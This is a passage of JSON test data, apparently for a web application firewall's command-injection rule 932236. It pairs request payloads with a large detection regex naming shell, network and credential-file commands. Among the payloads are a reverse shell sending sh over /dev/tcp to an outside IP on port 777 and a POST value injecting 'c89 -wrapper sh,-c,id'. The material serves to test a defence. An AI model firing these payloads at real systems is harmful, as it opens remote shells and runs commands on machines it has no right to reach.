rtbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|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)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Negative test on German numbering - Schauen Sie sich diese Zahl an: 1'000'000" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=d%3D%2Fdev%26%26(sh)0%3E%24d%2Ftcp%2F51.15.142.164%2F777" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\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)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Positive test - BB BBBZARPI - d=/dev&&(sh)0>$d/tcp/51.15.142.164/777" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;c89 -wrapper sh,-c,id .\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", 